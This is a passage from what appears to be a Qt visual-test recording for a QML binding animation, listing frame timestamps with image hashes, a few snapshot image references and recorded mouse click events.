"7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 112 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 128 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 144 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 160 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 176 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 192 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 208 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 224 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 240 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 256 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 272 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 288 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 304 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 320 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 336 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 352 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 368 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 384 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 400 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 416 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 432 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 448 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 464 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 480 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 496 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 512 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 528 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 544 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 560 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 576 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 592 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 608 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 624 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 640 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 656 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 672 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 688 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 704 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 720 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 736 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 752 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 768 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 784 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 800 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 816 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 832 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 848 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 864 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 880 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 896 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 912 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 928 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 944 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 960 - image: "bindinganimation.0.png" - } - Frame { - msec: 976 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 992 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1008 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1024 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1040 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1056 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1072 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1088 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1104 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1120 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1136 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1152 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 136; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1168 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1184 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1200 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1216 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1232 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1248 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1264 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1280 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 136; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1296 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 1312 - hash: "a78c9394bf3b81f192f42710cd7218b1" - } - Frame { - msec: 1328 - hash: "7f08e8170feb1d02373c9ab42b6e882d" - } - Frame { - msec: 1344 - hash: "967fbad8ac664400a3efbe66617d62aa" - } - Frame { - msec: 1360 - hash: "abc2ec0bc7a93e75b5823310e6284db1" - } - Frame { - msec: 1376 - hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b" - } - Frame { - msec: 1392 - hash: "9413dffb7ee853ba0125ac22ab22abbd" - } - Frame { - msec: 1408 - hash: "fcae0317f81a3ddd713f4db1349a9da0" - } - Frame { - msec: 1424 - hash: "37739777a5979f3ebf85e47e63341660" - } - Frame { - msec: 1440 - hash: "72731478d80f024076ea639b55152360" - } - Frame { - msec: 1456 - hash: "69058485ced6bc992a1a7c5ee34add4c" - } - Frame { - msec: 1472 - hash: "391ad7ff2362e059f6170dfe306f94a7" - } - Frame { - msec: 1488 - hash: "f9f74a2e38b52c9266f33e428b6acd9d" - } - Frame { - msec: 1504 - hash: "25152412c4ea2aec6caf89486c073484" - } - Frame { - msec: 1520 - hash: "ba403842ba3128b1cdf6a9cb28c90751" - } - Frame { - msec: 1536 - hash: "e90cd68490cf3ce6ef9fe4e8f92feaa9" - } - Frame { - msec: 1552 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1568 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1584 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1600 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1616 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1632 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1648 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1664 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1680 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1696 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1712 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1728 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1744 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1760 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1776 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1792 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1808 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1824 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1840 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1856 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1872 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1888 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1904 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1920 - image: "bindinganimation.1.png" - } - Frame { - msec: 1936 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1952 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1968 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 1984 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2000 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2016 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2032 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2048 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2064 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2080 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2096 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2112 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2128 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2144 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2160 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2176 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2192 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2208 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2224 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2240 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2256 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2272 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2288 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2304 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2320 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2336 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2352 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2368 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 2384 - hash: "adc501a3a2b8aaf72f58ba985b57424e" - } - Frame { - msec: 2400 - hash: "bfa51b7c19753ef7b16d78afffc7b9dd" - } - Frame { - msec: 2416 - hash: "ffa8471f57765b49fcdb9155393251e5" - } - Frame { - msec: 2432 - hash: "ddb65481469c38f2331546ee03a44206" - } - Frame { - msec: 2448 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Frame { - msec: 2464 - hash: "4279c814163af3bd069ce21b3cd1c729" - } - Frame { - msec: 2480 - hash: "17c46242c17983478f34cb49cb91ca6e" - } - Frame { - msec: 2496 - hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" - } - Frame { - msec: 2512 - hash: "6a74d6dc91a8b370200d3765c55c1136" - } - Frame { - msec: 2528 - hash: "ecda10356cca33901c2acd0a702fee46" - } - Frame { - msec: 2544 - hash: "4f58226bdbda7339d972eca065f75766" - } - Frame { - msec: 2560 - hash: "a39c80859a7643c9879da9c77b644703" - } - Frame { - msec: 2576 - hash: "16fe17b15900ff0464ab20ea921e5b1f" - } - Frame { - msec: 2592 - hash: "bc5c83b2014b7260900587ae3637598f" - } - Frame { - msec: 2608 - hash: "96c077e3a572edff04fa9b2f7020ffd0" - } - Frame { - msec: 2624 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2640 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2656 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2672 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2688 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2704 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2720 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2736 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2752 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2768 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2784 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2800 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2816 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2832 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2848 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2864 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2880 - image: "bindinganimation.2.png" - } - Frame { - msec: 2896 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2912 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2928 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2944 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2960 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2976 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 2992 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3008 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3024 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3040 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3056 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3072 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3088 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3104 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3120 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3136 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3152 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3168 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3184 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3200 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3216 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3232 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3248 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3264 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3280 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3296 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 3312 - hash: "a78c9394bf3b81f192f42710cd7218b1" - } - Frame { - msec: 3328 - hash: "7f08e8170feb1d02373c9ab42b6e882d" - } - Frame { - msec: 3344 - hash: "967fbad8ac664400a3efbe66617d62aa" - } - Frame { - msec: 3360 - hash: "abc2ec0bc7a93e75b5823310e6284db1" - } - Frame { - msec: 3376 - hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b" - } - Frame { - msec: 3392 - hash: "9413dffb7ee853ba0125ac22ab22abbd" - } - Frame { - msec: 3408 - hash: "fcae0317f81a3ddd713f4db1349a9da0" - } - Frame { - msec: 3424 - hash: "37739777a5979f3ebf85e47e63341660" - } - Frame { - msec: 3440 - hash: "72731478d80f024076ea639b55152360" - } - Frame { - msec: 3456 - hash: "69058485ced6bc992a1a7c5ee34add4c" - } - Frame { - msec: 3472 - hash: "391ad7ff2362e059f6170dfe306f94a7" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3488 - hash: "f9f74a2e38b52c9266f33e428b6acd9d" - } - Frame { - msec: 3504 - hash: "25152412c4ea2aec6caf89486c073484" - } - Frame { - msec: 3520 - hash: "ba403842ba3128b1cdf6a9cb28c90751" - } - Frame { - msec: 3536 - hash: "e90cd68490cf3ce6ef9fe4e8f92feaa9" - } - Frame { - msec: 3552 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 3568 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 3584 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 3600 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3616 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 3632 - hash: "adc501a3a2b8aaf72f58ba985b57424e" - } - Frame { - msec: 3648 - hash: "bfa51b7c19753ef7b16d78afffc7b9dd" - } - Frame { - msec: 3664 - hash: "ffa8471f57765b49fcdb9155393251e5" - } - Frame { - msec: 3680 - hash: "ddb65481469c38f2331546ee03a44206" - } - Frame { - msec: 3696 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "4279c814163af3bd069ce21b3cd1c729" - } - Frame { - msec: 3728 - hash: "17c46242c17983478f34cb49cb91ca6e" - } - Frame { - msec: 3744 - hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" - } - Frame { - msec: 3760 - hash: "6a74d6dc91a8b370200d3765c55c1136" - } - Frame { - msec: 3776 - hash: "ecda10356cca33901c2acd0a702fee46" - } - Frame { - msec: 3792 - hash: "4f58226bdbda7339d972eca065f75766" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3808 - hash: "4f58226bdbda7339d972eca065f75766" - } - Frame { - msec: 3824 - hash: "5fae0bdc65c609cb766ce585b8c649db" - } - Frame { - msec: 3840 - image: "bindinganimation.3.png" - } - Frame { - msec: 3856 - hash: "6a74d6dc91a8b370200d3765c55c1136" - } - Frame { - msec: 3872 - hash: "4f41101378a104e72228eeb4ba395ca8" - } - Frame { - msec: 3888 - hash: "37739777a5979f3ebf85e47e63341660" - } - Frame { - msec: 3904 - hash: "f4fe2cc93d65e086ba8ded1438269eb2" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3920 - hash: "4279c814163af3bd069ce21b3cd1c729" - } - Frame { - msec: 3936 - hash: "72a0c017a2fa90a4aeadfa6e552ff573" - } - Frame { - msec: 3952 - hash: "391ad7ff2362e059f6170dfe306f94a7" - } - Frame { - msec: 3968 - hash: "0b0c6419e1e5b016d9c22bd98fd452b1" - } - Frame { - msec: 3984 - hash: "365c824c330398d267ea52ae9468b9ee" - } - Frame { - msec: 4000 - hash: "65ad7e0189c096792331bd1bb0daf0db" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4016 - hash: "65ad7e0189c096792331bd1bb0daf0db" - } - Frame { - msec: 4032 - hash: "a21aa1984f068650cce2a124a82c12be" - } - Frame { - msec: 4048 - hash: "8006ceaa02d22b5fdfeab400d39a0caf" - } - Frame { - msec: 4064 - hash: "a2cebc35e5c2c709a2cd83e1df6eaeab" - } - Frame { - msec: 4080 - hash: "07f751ea4cf877ba72fbb36f9da268d7" - } - Frame { - msec: 4096 - hash: "72731478d80f024076ea639b55152360" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "37739777a5979f3ebf85e47e63341660" - } - Frame { - msec: 4128 - hash: "ed47684a0b21836cd27549e0989e96dd" - } - Frame { - msec: 4144 - hash: "772396bb23c713f34ea5c23bfbcb115e" - } - Frame { - msec: 4160 - hash: "d9af30557f99b086bb1a185a946b580d" - } - Frame { - msec: 4176 - hash: "575d30ac088448b01f49082519bbb3a1" - } - Frame { - msec: 4192 - hash: "2e3f134664df8204a291af2c9f81239a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4208 - hash: "2e3f134664df8204a291af2c9f81239a" - } - Frame { - msec: 4224 - hash: "4f58226bdbda7339d972eca065f75766" - } - Frame { - msec: 4240 - hash: "5fae0bdc65c609cb766ce585b8c649db" - } - Frame { - msec: 4256 - hash: "82363265ed2b611a54f8d48b2af22f11" - } - Frame { - msec: 4272 - hash: "f9deee3a204c939562b896a6179743d2" - } - Frame { - msec: 4288 - hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4304 - hash: "3223ed179c828fadb3eca9c6373176c1" - } - Frame { - msec: 4320 - hash: "56125a260a79bc38bb0ef44fd65ba49b" - } - Frame { - msec: 4336 - hash: "07f751ea4cf877ba72fbb36f9da268d7" - } - Frame { - msec: 4352 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Frame { - msec: 4368 - hash: "8006ceaa02d22b5fdfeab400d39a0caf" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4384 - hash: "8006ceaa02d22b5fdfeab400d39a0caf" - } - Frame { - msec: 4400 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Frame { - msec: 4416 - hash: "69058485ced6bc992a1a7c5ee34add4c" - } - Frame { - msec: 4432 - hash: "dafcce427161a70c3513841ac22aea00" - } - Frame { - msec: 4448 - hash: "3223ed179c828fadb3eca9c6373176c1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4464 - hash: "b08811b237ce7a460c80d285f04d53d8" - } - Frame { - msec: 4480 - hash: "fcae0317f81a3ddd713f4db1349a9da0" - } - Frame { - msec: 4496 - hash: "772396bb23c713f34ea5c23bfbcb115e" - } - Frame { - msec: 4512 - hash: "ecda10356cca33901c2acd0a702fee46" - } - Frame { - msec: 4528 - hash: "575d30ac088448b01f49082519bbb3a1" - } - Frame { - msec: 4544 - hash: "abc2ec0bc7a93e75b5823310e6284db1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4560 - hash: "abc2ec0bc7a93e75b5823310e6284db1" - } - Frame { - msec: 4576 - hash: "575d30ac088448b01f49082519bbb3a1" - } - Frame { - msec: 4592 - hash: "ecda10356cca33901c2acd0a702fee46" - } - Frame { - msec: 4608 - hash: "772396bb23c713f34ea5c23bfbcb115e" - } - Frame { - msec: 4624 - hash: "fcae0317f81a3ddd713f4db1349a9da0" - } - Frame { - msec: 4640 - hash: "b08811b237ce7a460c80d285f04d53d8" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4656 - hash: "17c46242c17983478f34cb49cb91ca6e" - } - Frame { - msec: 4672 - hash: "dafcce427161a70c3513841ac22aea00" - } - Frame { - msec: 4688 - hash: "69058485ced6bc992a1a7c5ee34add4c" - } - Frame { - msec: 4704 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Frame { - msec: 4720 - hash: "ddb65481469c38f2331546ee03a44206" - } - Frame { - msec: 4736 - hash: "a21aa1984f068650cce2a124a82c12be" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4752 - hash: "a21aa1984f068650cce2a124a82c12be" - } - Frame { - msec: 4768 - hash: "8006ceaa02d22b5fdfeab400d39a0caf" - } - Frame { - msec: 4784 - hash: "6f48d1a9977b77cafd38a5903017605b" - } - Frame { - msec: 4800 - image: "bindinganimation.4.png" - } - Frame { - msec: 4816 - hash: "56125a260a79bc38bb0ef44fd65ba49b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4832 - hash: "56c72b5da44bd5efdc47c3b9c3eac409" - } - Frame { - msec: 4848 - hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" - } - Frame { - msec: 4864 - hash: "6a74d6dc91a8b370200d3765c55c1136" - } - Frame { - msec: 4880 - hash: "9413dffb7ee853ba0125ac22ab22abbd" - } - Frame { - msec: 4896 - hash: "527b1f9e7a222483134675a73f9cf5b7" - } - Frame { - msec: 4912 - hash: "ffeb3db6d3f177acf6f92049359a9025" - } - Frame { - msec: 4928 - hash: "a39c80859a7643c9879da9c77b644703" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 122; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4944 - hash: "a39c80859a7643c9879da9c77b644703" - } - Frame { - msec: 4960 - hash: "ffeb3db6d3f177acf6f92049359a9025" - } - Frame { - msec: 4976 - hash: "527b1f9e7a222483134675a73f9cf5b7" - } - Frame { - msec: 4992 - hash: "9413dffb7ee853ba0125ac22ab22abbd" - } - Frame { - msec: 5008 - hash: "6a74d6dc91a8b370200d3765c55c1136" - } - Frame { - msec: 5024 - hash: "4f41101378a104e72228eeb4ba395ca8" - } - Frame { - msec: 5040 - hash: "56c72b5da44bd5efdc47c3b9c3eac409" - } - Frame { - msec: 5056 - hash: "72731478d80f024076ea639b55152360" - } - Frame { - msec: 5072 - hash: "07f751ea4cf877ba72fbb36f9da268d7" - } - Frame { - msec: 5088 - hash: "a2cebc35e5c2c709a2cd83e1df6eaeab" - } - Frame { - msec: 5104 - hash: "8006ceaa02d22b5fdfeab400d39a0caf" - } - Frame { - msec: 5120 - hash: "f9f74a2e38b52c9266f33e428b6acd9d" - } - Frame { - msec: 5136 - hash: "a93f930ec8528f954cd4a770c9a8171b" - } - Frame { - msec: 5152 - hash: "bfa51b7c19753ef7b16d78afffc7b9dd" - } - Frame { - msec: 5168 - hash: "df62027b6b53c69a071cb3dc09c3a7ed" - } - Frame { - msec: 5184 - hash: "0d59ac57f8790fe741a31d12c3438abf" - } - Frame { - msec: 5200 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5216 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5232 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5248 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5264 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5280 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5296 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5312 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5328 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5344 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5360 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5376 - hash: "383ba6b9efcc58fca512982a207631f6" - } - Frame { - msec: 5392 - hash: 